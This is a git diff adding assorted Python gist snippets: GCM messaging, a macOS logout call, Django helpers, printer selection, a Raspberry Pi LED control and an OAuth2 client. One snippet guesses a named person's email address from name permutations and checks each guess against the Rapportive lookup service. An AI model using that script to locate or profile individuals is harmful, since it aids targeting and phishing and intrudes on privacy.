+              BayesianBetaAB( (1,1), 0.001),
+              BayesianBetaAB( (1,1), 0.0001),
+              GaussianFrequentistPValue(500, 0.1),
+              GaussianFrequentistPValue(1000, 0.1),
+              GaussianFrequentistPValue(1500, 0.1),
+              GaussianFrequentistPValue(2000, 0.1),
+              GaussianFrequentistPValue(4000, 0.1),
+              GaussianFrequentistPValue(500, 0.05),
+              GaussianFrequentistPValue(1000, 0.05),
+              GaussianFrequentistPValue(1500, 0.05),
+              GaussianFrequentistPValue(2000, 0.05),
+              GaussianFrequentistPValue(4000, 0.05),
+              GaussianFrequentistPValue(500, 0.01),
+              GaussianFrequentistPValue(1000, 0.01),
+              GaussianFrequentistPValue(2000, 0.01),
+              GaussianFrequentistPValue(4000, 0.01),
+              ]
+
+procedure_lift = zeros(shape=(len(procedures),), dtype=float)
+procedure_samples = zeros(shape=(len(procedures),), dtype=float)
+ctr_dist = beta(0.5, 50)
+#ctr_dist = beta(5, 100)
+
+def print_table(oracle_lift, procedure_lift, procedure_samples, n):
+    print "<table>"
+    print "<tr><th>Method</th><th>Samples</th><th>Lift</th></tr>"
+    for j in range(len(procedure_samples)):
+        print "<tr><td>" + str(procedures[j]) + "</td><td>" + str(int(procedure_samples[j] / float(n))) + "</td><td>" + str((procedure_lift[j] / float(n)) / oracle_lift) + "</td></tr>"
+    print "</table>"
+
+
+num_tests = 250
+
+absolute_lift = 0.0
+for i in range(num_tests):
+    ctr = ctr_dist.rvs(2)
+    absolute_lift += abs(ctr[1]-ctr[0])
+    data = gen_data(ctr, size=1024*4)
+    print "Outer iteration: " + str(i) + ", ctr="+str(ctr)
+    for (j, proc) in enumerate(procedures):
+        nsamples, lift = evaluate_test_procedure(ctr, data, proc)
+        procedure_lift[j] += lift
+        procedure_samples[j] += nsamples
+    if (i % 10 == 0) and (i > 0):
+        oracle_lift = absolute_lift / float(i)
+        print_table(oracle_lift, procedure_lift, procedure_samples, i+1)
+
+oracle_lift = absolute_lift / float(num_tests)
+print_table(oracle_lift, procedure_lift, procedure_samples, num_tests)
diff --git a/hard-gists/9680901/._snippet.py b/hard-gists/9680901/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9680901/._snippet.py differ
diff --git a/hard-gists/9680901/snippet.py b/hard-gists/9680901/snippet.py
new file mode 100644
index 00000000..fde300c0
--- /dev/null
+++ b/hard-gists/9680901/snippet.py
@@ -0,0 +1,66 @@
+#!/usr/bin/python
+import sys, json, xmpp, random, string
+
+SERVER = 'gcm.googleapis.com'
+PORT = 5235
+USERNAME = "Your GCM Sender Id"
+PASSWORD = "API Key"
+REGISTRATION_ID = "Registration Id of the target device"
+
+unacked_messages_quota = 1000
+send_queue = []
+
+# Return a random alphanumerical id
+def random_id():
+  rid = ''
+  for x in range(8): rid += random.choice(string.ascii_letters + string.digits)
+  return rid
+
+def message_callback(session, message):
+  global unacked_messages_quota
+  gcm = message.getTags('gcm')
+  if gcm:
+    gcm_json = gcm[0].getData()
+    msg = json.loads(gcm_json)
+    if not msg.has_key('message_type'):
+      # Acknowledge the incoming message immediately.
+      send({'to': msg['from'],
+            'message_type': 'ack',
+            'message_id': msg['message_id']})
+      # Queue a response back to the server.
+      if msg.has_key('from'):
+        # Send a dummy echo response back to the app that sent the upstream message.
+        send_queue.append({'to': msg['from'],
+                           'message_id': random_id(),
+                           'data': {'pong': 1}})
+    elif msg['message_type'] == 'ack' or msg['message_type'] == 'nack':
+      unacked_messages_quota += 1
+
+def send(json_dict):
+  template = ("<message><gcm xmlns='google:mobile:data'>{1}</gcm></message>")
+  client.send(xmpp.protocol.Message(
+      node=template.format(client.Bind.bound[0], json.dumps(json_dict))))
+
+def flush_queued_messages():
+  global unacked_messages_quota
+  while len(send_queue) and unacked_messages_quota > 0:
+    send(send_queue.pop(0))
+    unacked_messages_quota -= 1
+
+client = xmpp.Client('gcm.googleapis.com', debug=['socket'])
+client.connect(server=(SERVER,PORT), secure=1, use_srv=False)
+auth = client.auth(USERNAME, PASSWORD)
+if not auth:
+  print 'Authentication failed!'
+  sys.exit(1)
+
+client.RegisterHandler('message', message_callback)
+
+send_queue.append({'to': REGISTRATION_ID,
+                   'message_id': 'reg_id',
+                   'data': {'message_destination': 'RegId',
+                            'message_id': random_id()}})
+
+while True:
+  client.Process(1)
+  flush_queued_messages()
\ No newline at end of file
diff --git a/hard-gists/9683c333e73a82379b8e377eb2e6fc41/._snippet.py b/hard-gists/9683c333e73a82379b8e377eb2e6fc41/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9683c333e73a82379b8e377eb2e6fc41/._snippet.py differ
diff --git a/hard-gists/9683c333e73a82379b8e377eb2e6fc41/snippet.py b/hard-gists/9683c333e73a82379b8e377eb2e6fc41/snippet.py
new file mode 100644
index 00000000..de67fc5f
--- /dev/null
+++ b/hard-gists/9683c333e73a82379b8e377eb2e6fc41/snippet.py
@@ -0,0 +1,43 @@
+import struct, objc
+from Foundation import NSBundle
+from Cocoa import NSAppleEventDescriptor
+
+def OSType(s):
+    # Convert 4 character code into 4 byte integer
+    return struct.unpack('>I', s)[0]
+
+# Create an opaque pointer type to mask the raw AEDesc pointers we'll throw around
+AEDescRef = objc.createOpaquePointerType('AEDescRef', '^{AEDesc=I^^{OpaqueAEDataStorageType}}')
+
+# Load AESendMessage from AE.framework for sending the AppleEvent
+AE_bundle = NSBundle.bundleWithIdentifier_('com.apple.AE')
+functions = [("AESendMessage", b"i^{AEDesc=I^^{OpaqueAEDataStorageType}}^{AEDesc=I^^{OpaqueAEDataStorageType}}iq"),]
+objc.loadBundleFunctions(AE_bundle, globals(), functions)
+
+# defined in AEDataModel.h
+kAENoReply            =  1
+kAENeverInteract      = 16
+kAEDefaultTimeout     = -1
+kAnyTransactionID     =  0
+kAutoGenerateReturnID = -1
+
+# defined in AEDataModel.h
+typeAppleEvent          = OSType('aevt')
+typeApplicationBundleID = OSType('bund')
+
+# defined in AERegistry.h
+kAELogOut               = OSType('logo')
+kAEReallyLogOut         = OSType('rlgo')
+kAEShowRestartDialog    = OSType('rrst')
+kAEShowShutdownDialog   = OSType('rsdn')
+
+# Build a standalone application descriptor by bundle id
+loginwindowDesc = NSAppleEventDescriptor.alloc().initWithDescriptorType_data_(typeApplicationBundleID, buffer('com.apple.loginwindow'))
+
+# build an event descriptor with our app descriptor as the target and the kAELogOut eventID
+event = NSAppleEventDescriptor.appleEventWithEventClass_eventID_targetDescriptor_returnID_transactionID_(
+        typeAppleEvent, kAELogOut, loginwindowDesc, kAutoGenerateReturnID, kAnyTransactionID)
+eventDesc = event.aeDesc()
+
+# Send a polite logout (returns immediately)
+err = AESendMessage(eventDesc, None, kAENoReply|kAENeverInteract, kAEDefaultTimeout)
diff --git a/hard-gists/968909/._snippet.py b/hard-gists/968909/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/968909/._snippet.py differ
diff --git a/hard-gists/968909/snippet.py b/hard-gists/968909/snippet.py
new file mode 100644
index 00000000..65a45886
--- /dev/null
+++ b/hard-gists/968909/snippet.py
@@ -0,0 +1,56 @@
+'''
+Created on 2011-05-12
+
+@author: Daniel Sokolowski
+
+Extends django's built in JSON serializer to support GEOJSON encoding
+
+Requirements:
+    Install and setup geodjango (django.contrib.gis)
+
+Install:
+    Add ``SERIALIZATION_MODULES = { 'geojson' : 'path.to.geojson_serializer' }`` to your 
+    project ``settings.py`` file.
+    
+Usage:
+    from django.core import serializers
+    geojson = serializers.serialize("geojson", <Model>.objects.all())
+
+'''
+from django.core.serializers.json import DjangoJSONEncoder
+from django.core.serializers.json import Serializer as OverloadedSerializer
+from django.utils import simplejson
+from django.contrib.gis.db.models.fields import GeometryField
+from django.contrib.gis.geos.geometry import GEOSGeometry
+from django.utils import simplejson as json
+
+
+class Serializer(OverloadedSerializer):
+    def handle_field(self, obj, field):
+        """
+        If field is of GeometryField than encode otherwise call parent's method
+        """
+        value = field._get_val_from_obj(obj)
+        if isinstance(field, GeometryField):
+            self._current[field.name] = value
+        else:
+            super(Serializer, self).handle_field(obj, field)
+
+    
+    def end_serialization(self):
+        simplejson.dump(self.objects, self.stream, cls=DjangoGEOJSONEncoder, **self.options)
+
+class DjangoGEOJSONEncoder(DjangoJSONEncoder):
+    """
+    DjangoGEOJSONEncoder subclass that knows how to encode GEOSGeometry value
+    """
+    
+    def default(self, o):
+        """ overload the default method to process any GEOSGeometry objects otherwise call original method """ 
+        print(type(o))
+        if isinstance(o, GEOSGeometry):
+            return json.loads(o.geojson)
+        else:
+            super(DjangoGEOJSONEncoder, self).default(o)
+
+
diff --git a/hard-gists/969ea467e870b68963f3/._snippet.py b/hard-gists/969ea467e870b68963f3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/969ea467e870b68963f3/._snippet.py differ
diff --git a/hard-gists/969ea467e870b68963f3/snippet.py b/hard-gists/969ea467e870b68963f3/snippet.py
new file mode 100644
index 00000000..c9fb819d
--- /dev/null
+++ b/hard-gists/969ea467e870b68963f3/snippet.py
@@ -0,0 +1,43 @@
+#!/usr/bin/env python
+# encoding: utf-8
+# 2014 - Neal Shyam [@nealrs | nealshyam.com]
+# usage: $python checkrap.py first_name last_name domain_name
+# e.g:   $python checkrap.py john doe gmail.com 
+#
+#
+# PLEASE DON'T BE A DICK OR USE THIS FOR EVIL.
+# Seriously, the internet is a nice place, let's keep it that way.
+
+import sys
+import time
+from rapportive import rapportive # https://github.com/jordan-wright/rapportive
+
+fn = sys.argv[1]
+ln = sys.argv[2]
+d = sys.argv[3]
+
+fi = fn[:1]
+li = ln[:1]
+p1 = fn  # neal
+p2 = ln	# shyam
+p3 = fi+li # ns
+p4 = fn+"_"+ln # neal_shyam
+p5 = fi+"_"+ln # n_shyam_
+p6 = fn+ln # nealshyam
+p7 = fn+"."+ln # neal.shyam
+p8 = fn+li # neals
+p9 = fi+ln # nshyam
+p10 = fn+"."+li # neal.s
+p11 = fi+"."+ln # n.shyam
+p12 = ln+"."+fn # shyam.neal
+p13 = ln+fi # shyamn
+p = [p1, p2, p3, p4, p5, p6, p7, p8, p9, p10, p11, p12, p13]
+
+e = iter(p)
+print '\033[95m'+"Checking with Rapportive..."+'\033[0m'
+for x in e:
+ time.sleep(2) # 2 second timeout, you may need to play with this. 
+ i = x+"@"+d
+ r = rapportive.request(i)
+ print i,"::",r
+print '\033[95m'+"Done"+'\033[0m'
\ No newline at end of file
diff --git a/hard-gists/96a329f6d12f17b4760373b1cf3b92e9/._snippet.py b/hard-gists/96a329f6d12f17b4760373b1cf3b92e9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/96a329f6d12f17b4760373b1cf3b92e9/._snippet.py differ
diff --git a/hard-gists/96a329f6d12f17b4760373b1cf3b92e9/snippet.py b/hard-gists/96a329f6d12f17b4760373b1cf3b92e9/snippet.py
new file mode 100644
index 00000000..ef8bfd0e
--- /dev/null
+++ b/hard-gists/96a329f6d12f17b4760373b1cf3b92e9/snippet.py
@@ -0,0 +1,149 @@
+#!/bin/env python3
+
+
+from bs4 import BeautifulSoup
+import urllib.request
+import subprocess
+import re
+import sys
+import random
+
+try:
+	file = str(sys.argv[1])
+except IndexError:
+	print("Please provide a file as an argument")
+	exit(-1);
+
+
+atis_website="https://atis.informatik.kit.edu/1194.php"
+
+site_info = urllib.request.urlopen(atis_website).read()
+
+soup = BeautifulSoup(site_info, 'html.parser')
+
+
+
+#Getting only black and white printers
+printer_full = subprocess.run(['lpstat', '-p', '-d'], stdout=subprocess.PIPE).stdout.decode('utf-8')
+printer_full = subprocess.run(['lpstat', '-p', '-d'], stdout=subprocess.PIPE).stdout.decode('utf-8')
+
+
+printers = []
+table=soup.find_all('td')
+for line in printer_full.split("\n"):
+	
+
+	try:
+	         name = line.split(" ")[1]        
+	except IndexError:
+		break
+	   
+	
+	if "sw" in name :
+		for i in range(0, len(table)):
+			printerOnline = table[i].getText()
+			
+			if name == printerOnline:
+
+				#if this one is idle, then 0 jobs
+				if  table[i+1].getText() == "idle\n" :
+					jobs = 0
+				else:
+					#getting number of jobs
+					auftrag= table[i+1].find("a").next_sibling 
+					try:			
+						jobs=re.findall('\d+', auftrag)[0]
+						jobs.strip
+					except IndexError:
+						jobs = 1
+#					print(name +",  jobs:" + str(jobs))
+				printers.append( tuple( (name, jobs) ) )
+				break
+
+
+
+		
+
+#Printers and jobs
+for (name, jobs) in printers:
+	print(name + ", jobs: "+ str(jobs))
+
+
+
+min = 5000
+the_printer=""
+#Finding min
+for (name, jobs) in printers:
+	if int(min) > int(jobs):
+		the_printer=name
+		min = jobs
+		
+
+
+
+
+
+#Handling input
+copies = "-#1"
+for x in sys.argv:
+	if re.match("-#\d", x):
+               	copies=x
+
+mode = "sides=two-sided-long-edge"
+for x in sys.argv:
+        if x == "--landscape" or x == "-l":
+                mode = "sides=two-sided-short-edge"
+
+
+for x in sys.argv:
+	if not re.match("-.", x):
+		file = x
+
+print(file + " to be send to " + the_printer)
+
+
+#creating the print command
+command=["lpr", "-o", mode , copies , "-P", the_printer, file ]
+command1="lpr -o " + mode + " " +  copies + " -P " + the_printer + " " + file
+
+
+
+
+#checking for dry input
+for x in sys.argv:
+	if x == "--dry" or x == "-d":
+		print(command1)
+		exit(1)
+
+
+
+yes = {'yes','y', 'ye', ''}
+no = {'no','n'}
+
+print("Are you sure?")
+
+
+directly_yes=False
+
+for x in sys.argv:
+        if x == "--yes" or x == "-y":
+                directly_yes=True
+
+
+if not directly_yes:
+	choice = input().lower()
+else:
+	choice = "yes"
+
+
+if choice in yes or directly_yes:
+	print("Sending print job to " + the_printer + "...") 
+	#lpr -o sides=two-sided-long-edge  -#1 -P  $file
+	subprocess.run( command )
+	
+elif choice in no:
+   	print(command1)
+else:
+   sys.stdout.write("Please respond with 'yes' or 'no'")
+
+
diff --git a/hard-gists/96ec9b3c5df60a07b216/._snippet.py b/hard-gists/96ec9b3c5df60a07b216/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/96ec9b3c5df60a07b216/._snippet.py differ
diff --git a/hard-gists/96ec9b3c5df60a07b216/snippet.py b/hard-gists/96ec9b3c5df60a07b216/snippet.py
new file mode 100644
index 00000000..56e027c7
--- /dev/null
+++ b/hard-gists/96ec9b3c5df60a07b216/snippet.py
@@ -0,0 +1,45 @@
+#!/usr/bin/python
+
+import lldb
+import os
+import re
+import subprocess
+import fblldbbase as fb
+
+def lldbcommands():
+  return [ PrintToFile() ]
+
+class PrintToFile(fb.FBCommand):
+  def name(self):
+    return 'pfile'
+
+  def description(self):
+    return 'Print an array to a file.'
+
+  def args(self):
+    return [ fb.FBCommandArgument(arg='pointer', type='void *', help='The pointer to the first element in the array.') ]
+
+  def options(self):
+    return [
+      fb.FBCommandArgument(short='-t', long='--type', arg='type', type='string', default='int', help='The type of values contained in the array'),
+      fb.FBCommandArgument(short='-c', long='--size', arg='size', type='int', default=100, help='The number of elements to print'),
+      fb.FBCommandArgument(short='-f', long='--file', arg='file', type='string', default='/tmp/lldb_out.txt', help='The file to write the results to')
+    ]
+
+  def run(self, args, options):
+    res = lldb.SBCommandReturnObject()
+    interpreter = lldb.debugger.GetCommandInterpreter()
+    command = 'memory read --force -t %s -c %s %s' % (options.type, options.size, args[0])
+    interpreter.HandleCommand(command, res)
+    if not res.Succeeded():
+      return
+    output = res.GetOutput()
+
+    print 'Printing to \'%s\'' % options.file
+    f = open(options.file, "w")
+
+    for line in output.splitlines():
+      match = re.search('.*\s=\s(.*)', line)
+      if match:
+        f.write(match.group(1) + '\n')
+    f.close()
diff --git a/hard-gists/9705471/._snippet.py b/hard-gists/9705471/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9705471/._snippet.py differ
diff --git a/hard-gists/9705471/snippet.py b/hard-gists/9705471/snippet.py
new file mode 100644
index 00000000..6549879c
--- /dev/null
+++ b/hard-gists/9705471/snippet.py
@@ -0,0 +1,64 @@
+"""
+
+ledctrl.py
+
+A simple example for communicating with a Raspberry Pi from you phone's 
+browser. Uses the Bottle Python web framework, and jQuery AJAX.
+
+Author: Mahesh Venkitachalam / electronut.in
+"""
+
+from bottle import route, request, run, get
+
+import time
+import RPi.GPIO as GPIO
+
+GPIO.setmode(GPIO.BOARD)
+GPIO.setup(18, GPIO.OUT)
+GPIO.output(18, False)
+
+@route('/led')
+def led():
+    return '''
+<html>
+<head>
+<meta name="viewport" content="width=device-width, initial-scale=1">
+<link rel="stylesheet" href="http://code.jquery.com/mobile/1.4.2/jquery.mobile-1.4.2.min.css">
+<script src="http://code.jquery.com/jquery-1.10.2.min.js"></script>
+<script src="http://code.jquery.com/mobile/1.4.2/jquery.mobile-1.4.2.min.js"></script>
+<script>
+$(document).ready(function() {
+  $("#ckLED").change(function() {
+    var isChecked = $("#ckLED").is(":checked") ? 1:0; 
+    $.ajax({
+            url: '/action',
+            type: 'POST',
+            data: { strID:'ckLED', strState:isChecked }
+    });
+  });
+});
+</script>
+</head>
+
+<body>
+
+<div data-role="page">
+  <div data-role="main" class="ui-content">
+    <form>
+        <label for="switch">RPi LED Control</label>
+        <input type="checkbox" data-role="flipswitch" name="switch" id="ckLED">
+    </form>
+ </div>
+</div>
+
+</body>
+</html>
+'''
+
+@route('/action', method='POST')
+def action():
+    val = request.forms.get('strState')
+    on = bool(int(val))
+    GPIO.output(18, on) 
+
+run(host = '192.168.4.31', port = '8080')
diff --git a/hard-gists/9709984/._snippet.py b/hard-gists/9709984/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9709984/._snippet.py differ
diff --git a/hard-gists/9709984/snippet.py b/hard-gists/9709984/snippet.py
new file mode 100644
index 00000000..1bff05db
--- /dev/null
+++ b/hard-gists/9709984/snippet.py
@@ -0,0 +1,19 @@
+from functools import wraps
+
+from django.conf import settings
+from django.http import HttpResponseRedirect
+
+
+def require_ssl(view):
+    """
+    Decorator that requires an SSL connection.  If the current connection is not SSL, we redirect to the SSL version of
+    the page.
+    """
+    @wraps(view)
+    def wrapper(request, *args, **kwargs):
+        if not settings.DEBUG and not request.is_secure():
+            # Redirect!
+            target_url = "https://" + request.META['HTTP_HOST'] + request.path_info
+            return HttpResponseRedirect(target_url)
+        return view(request, *args, **kwargs)
+    return wrapper
\ No newline at end of file
diff --git a/hard-gists/9716578/._snippet.py b/hard-gists/9716578/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9716578/._snippet.py differ
diff --git a/hard-gists/9716578/snippet.py b/hard-gists/9716578/snippet.py
new file mode 100644
index 00000000..e21dd161
--- /dev/null
+++ b/hard-gists/9716578/snippet.py
@@ -0,0 +1,74 @@
+import cv2
+from subprocess import call, check_output
+
+class CameraSettings:
+
+    def __init__(self, captureObject, device):
+        self.cap = captureObject
+        self.device = device
+
+    def getFocus(self):
+        return int(check_output(["v4l2-ctl", "-d", self.device, "-C", "focus_absolute"]).split(":")[-1])
+    
+    def getContrast(self):
+        return int(cap.get(cv2.cv.CV_CAP_PROP_CONTRAST)*255)
+
+    def getBrightness(self):
+        return int(cap.get(cv2.cv.CV_CAP_PROP_BRIGHTNESS)*255)
+    
+    def getSaturation(self):
+        return int(cap.get(cv2.cv.CV_CAP_PROP_SATURATION)*255)
+
+    def getHue(self):
+        return int(cap.get(cv2.cv.CV_CAP_PROP_HUE)*255)
+ 
+    def getGain(self):
+        return int(check_output(["v4l2-ctl", "-d", self.device, "-C", "gain"]).split(":")[-1])
+
+    def getWhiteBalance(self):
+        return int(check_output(["v4l2-ctl", "-d", device, "-C", "white_balance_temperature"]).split(":")[-1])
+
+    def setFocus(self, arg):
+        call(["v4l2-ctl", "-d", self.device, "-c", "focus_auto=0"])
+        call(["v4l2-ctl", "-d", self.device, "-c", "focus_absolute="+str(arg)])
+
+    def setContrast(self, arg):
+        self.cap.set(cv2.cv.CV_CAP_PROP_CONTRAST, arg/255.0)
+
+    def setBrightness(self, arg):
+        self.cap.set(cv2.cv.CV_CAP_PROP_BRIGHTNESS, arg/255.0)
+
+    def setSaturation(self, arg):
+        self.cap.set(cv2.cv.CV_CAP_PROP_SATURATION, arg/255.0)
+
+    def setHue(self, arg):
+        self.cap.set(cv2.cv.CV_CAP_PROP_HUE, arg/255.0)
+
+    def setGain(self, arg):
+        call(["v4l2-ctl", "-d", self.device, "-c", "gain="+str(arg)])
+
+    def setWhiteBalance(self, arg):
+        call(["v4l2-ctl", "-d", self.device, "-c", "white_balance_temperature_auto=0"])
+        call(["v4l2-ctl", "-d", self.device, "-c", "white_balance_temperature="+str(arg)])
+
+    def trackbar(self, windowName, trackbarName, callback, start=128, max=255):
+        cv2.namedWindow(windowName)
+        cv2.createTrackbar(trackbarName, windowName, start, max, callback)
+
+if __name__ == "__main__":
+    cap = cv2.VideoCapture(0)
+    device = "/dev/video1"
+    camSettings = CameraSettings(cap, device)
+
+    camSettings.trackbar("window", "contrast", camSettings.setContrast, camSettings.getContrast())
+    camSettings.trackbar("window", "brightness", camSettings.setBrightness, camSettings.getBrightness())
+    camSettings.trackbar("window", "saturation", camSettings.setSaturation, camSettings.getSaturation())
+    #camSettings.trackbar("window", "gain", camSettings.setGain, camSettings.getGain())
+    #camSettings.trackbar("window", "white balance", camSettings.setWhiteBalance, camSettings.getWhiteBalance(), 6500)
+    #camSettings.trackbar("window", "focus", camSettings.setFocus, camSettings.getFocus(), 250)
+
+    x = cv2.waitKey(5)
+    while (x == -1):
+        x = cv2.waitKey(5)
+        _,image = cap.read()
+        cv2.imshow("window", image)
\ No newline at end of file
diff --git a/hard-gists/9722045/._snippet.py b/hard-gists/9722045/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9722045/._snippet.py differ
diff --git a/hard-gists/9722045/snippet.py b/hard-gists/9722045/snippet.py
new file mode 100644
index 00000000..4382b243
--- /dev/null
+++ b/hard-gists/9722045/snippet.py
@@ -0,0 +1,241 @@
+#!usr/bin/python3
+# -*- coding: UTF-8 -*-
+
+"""This module is a sample of the OAuth2 authentication by Python3"""
+
+__version__ = "0.1.0"
+__author__ = "shin (shin.hateblo.jp)"
+__copyright__ = "(C) 2012 shin"
+__email__ = "s2pch.luck@gmail.com"
+__license__ = "Apache License 2.0"
+__status__ = "Prototype"
+
+
+import configparser
+import hashlib
+import json
+import urllib.parse
+import urllib.request
+import urllib.error
+
+
+class OAuth2:
+    """This class helps the OAuth2 authentication.
+    The configure file whose format is ini(cfg) is needed.
+    Some fields are required in the file.
+    - authz_endpoint
+    - token_endpoint
+    - client_id
+    - client_secret
+    - redirect_uri
+    - scope
+    Below is a sample.
+    ======================
+    [DEFAULT]
+    authz_endpoint = https://accounts.google.com/o/oauth2/auth
+    token_endpoint = https://accounts.google.com/o/oauth2/token
+    client_id = [Your Client ID]
+    client_secret = [Your Client Secret]
+    redirect_uri = urn:ietf:wg:oauth:2.0:oob
+    scope = https://www.google.com/reader/atom https://www.google.com/reader/api
+    ======================
+    """
+
+    AUTHZ_ENDPOINT = "authz_endpoint"
+    TOKEN_ENDPOINT = "token_endpoint"
+    CLIENT_ID = "client_id"
+    CLIENT_SECRET = "client_secret"
+    REDIRECT_URI = "redirect_uri"
+    SCOPE = "scope"
+    ACCESS_TOKEN = "access_token"
+    REFRESH_TOKEN = "refresh_token"
+
+    def __init__(self, configFile="oauth2.ini", additionalSection=None):
+        """This is a constructor.
+        Arguments:
+        configFile -- The config file path
+        additionalSection -- If you use an extra section, you can set the name.
+        """
+        self.configFile = configFile
+        self.additionalSection = additionalSection
+        self.__initConfiguration() # init self.conf, self.orgConf
+        self.__initCacheSection() # init self.cacheSection
+        self.accessToken = None
+        self.refreshToken = None
+        self.__loadCacheTokens()
+
+    def __initConfiguration(self):
+        """Load the config file and set to `self.conf`"""
+        conf = configparser.ConfigParser()
+        with open(self.configFile, "r") as f:
+            conf.readfp(f)
+        self.orgConf = conf
+        # check additionalSection
+        adSection = self.additionalSection
+        if adSection in conf:
+            adSection = conf[adSection]
+        self.conf = {}
+        for i in [self.CLIENT_ID, self.CLIENT_SECRET, self.AUTHZ_ENDPOINT,
+                  self.TOKEN_ENDPOINT, self.REDIRECT_URI, self.SCOPE]:
+            if adSection != None and i in adSection:
+                self.conf[i] = adSection[i]
+            else:
+                self.conf[i] = conf["DEFAULT"][i]
+
+    def __initCacheSection(self):
+        """Get the hash value for the cache section from authz endpoint and client id"""
+        m = hashlib.md5()
+        for i in [self.AUTHZ_ENDPOINT, self.CLIENT_ID]:
+            m.update(bytes(self.conf[i], "utf-8"))
+        self.cacheSection = str(m.hexdigest())
+
+    def __loadCacheTokens(self):
+        """Load the tokens from the cache section"""
+        with open(self.configFile, "r") as f:
+            self.orgConf.readfp(f)
+        if not self.cacheSection in self.orgConf:
+            return
+        t = self.orgConf[self.cacheSection]
+        if self.ACCESS_TOKEN in t:
+            self.accessToken = t[self.ACCESS_TOKEN]
+        if self.REFRESH_TOKEN in t:
+            self.refreshToken = t[self.REFRESH_TOKEN]
+
+    def __saveCacheTokens(self):
+        """Save the tokens to the cache section"""
+        self.orgConf[self.cacheSection] = {
+            self.ACCESS_TOKEN: self.accessToken,
+            self.REFRESH_TOKEN: self.refreshToken
+            }
+        with open(self.configFile, "w") as f:
+            self.orgConf.write(f)
+
+    def getUrlForAuthCode(self):
+        """Get the URL for getting an authorized code.
+        This URL is accessed with a web browser.
+        Return: URL
+        """
+        params = {"response_type": "code"}
+        for i in [self.CLIENT_ID, self.REDIRECT_URI, self.SCOPE]:
+            params[i] = self.conf[i]
+        url = "{0}?{1}".format(
+            self.conf[self.AUTHZ_ENDPOINT], urllib.parse.urlencode(params))
+        return url
+
+    def getAccessToken(self, code=None):
+        """Get access token.
+        Arguments:
+        code -- The authorized code that is got by accessing the URL returned
+        from `self.getUrlForAuthCode`. If this is `None`, the current access
+        token is returned.
+        Return: access token
+        """
+        if code != None:
+            # get access token and request token from the `code`
+            params = {"code": code, "grant_type": "authorization_code"}
+            for i in [self.CLIENT_ID, self.CLIENT_SECRET, self.REDIRECT_URI]:
+                params[i] = self.conf[i]
+            data = urllib.parse.urlencode(params).encode("utf-8")
+            request = urllib.request.Request(self.conf[self.TOKEN_ENDPOINT])
+            request.add_header("Content-Type", "application/x-www-form-urlencoded; charset=utf-8")
+            f = urllib.request.urlopen(request, data)
+            root = json.loads(f.read().decode("utf-8"))
+            self.accessToken = root[self.ACCESS_TOKEN]
+            self.refreshToken = root[self.REFRESH_TOKEN]
+            self.__saveCacheTokens()
+        return self.accessToken
+
+    def refreshAccessToken(self):
+        """Refresh current access token with refresh token
+        Return: access token
+        """
+        params = {"grant_type": "refresh_token",
+                  "refresh_token": self.refreshToken}
+        for i in [self.CLIENT_ID, self.CLIENT_SECRET]:
+            params[i] = self.conf[i]
+        data = urllib.parse.urlencode(params).encode("utf-8")
+        request = urllib.request.Request(self.conf[self.TOKEN_ENDPOINT])
+        request.add_header("Content-Type", "application/x-www-form-urlencoded; charset=utf-8")
+        f = urllib.request.urlopen(request, data)
+        root = json.loads(f.read().decode("utf-8"))
+        self.accessToken = root[self.ACCESS_TOKEN]
+        self.__saveCacheTokens()
+        return self.accessToken
+
+
+#---------------------------------
+
+def __main():
+    """You can run this test method after preparing the following ini file.
+    ======================
+    [DEFAULT]
+    authz_endpoint = https://accounts.google.com/o/oauth2/auth
+    token_endpoint = https://accounts.google.com/o/oauth2/token
+    client_id = [Your Client ID]
+    client_secret = [Your Client Secret]
+    redirect_uri = urn:ietf:wg:oauth:2.0:oob
+    scope = https://www.googleapis.com/auth/drive
+    ======================
+    The client id and client secret can be got from "Google APIs Console".
+    Google APIs Console: https://code.google.com/apis/console/
+    """
+
+
+#Makes HTTP request to Google Drive API 'copy' method
+    def copyFile(token, target_name):
+        print("Access Token: " + token)
+        url_destino = "https://www.googleapis.com/drive/v2/files/0AilPd9i9ydNTdFc4a2lvYmZnNkNzSU1kdVFZb0syN1E/copy" \
+                      "?key=(YOUR_API_KEY provided by Google API Console)"
+        values = "{'title': '%s'}" % target_name
+        data = values.encode('utf-8')
+        request = urllib.request.Request(url_destino, data, method='POST')
+        request.add_header("Authorization", "Bearer " + token)
+        request.add_header("Content-Length", len(data))
+        request.add_header("Content-Type", "application/json")
+        print(request.header_items())
+        f = urllib.request.urlopen(request)
+        print(f.read())
+
+#Makes HTTP request to Google Drive API 'list' files method
+    def listFiles(token):
+        print("Access Token: " + token)
+        url_destino = "https://www.googleapis.com/drive/v2/files?key=(YOUR_API_KEY provided by Google API Console)"
+        request = urllib.request.Request(url_destino)
+        request.add_header("Authorization", "Bearer " + token)
+        f = urllib.request.urlopen(request)
+        print(f.read())
+
+
+    oauth2 = OAuth2()
+    token = oauth2.getAccessToken()
+    if token == None:
+        print("Input the following URL into your browser and access it!")
+        print(oauth2.getUrlForAuthCode())
+        code = input("Paste the code ---> ")
+        token = oauth2.getAccessToken(code)
+
+
+    try:
+        listFiles(token)
+    except urllib.error.HTTPError as e:
+        if e.code == 401:
+            token = oauth2.refreshAccessToken()
+            listFiles(token)
+        else:
+            print(e.code)
+
+
+    try:
+        copyFile(token, 'HiperAgenda_Copiada_3')
+    except urllib.error.HTTPError as e:
+        if e.code == 401:
+            token = oauth2.refreshAccessToken()
+            copyFile(token, 'HiperAgenda_Copiada')
+        else:
+            print(e.code)
+
+
+if __name__ == "__main__":
+    __main()
+
+
diff --git a/hard-gists/97256/._snippet.py b/hard-gists/97256/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/97256/._snippet.py differ
diff --git a/hard-gists/97256/snippet.py b/hard-gists/97256/snippet.py
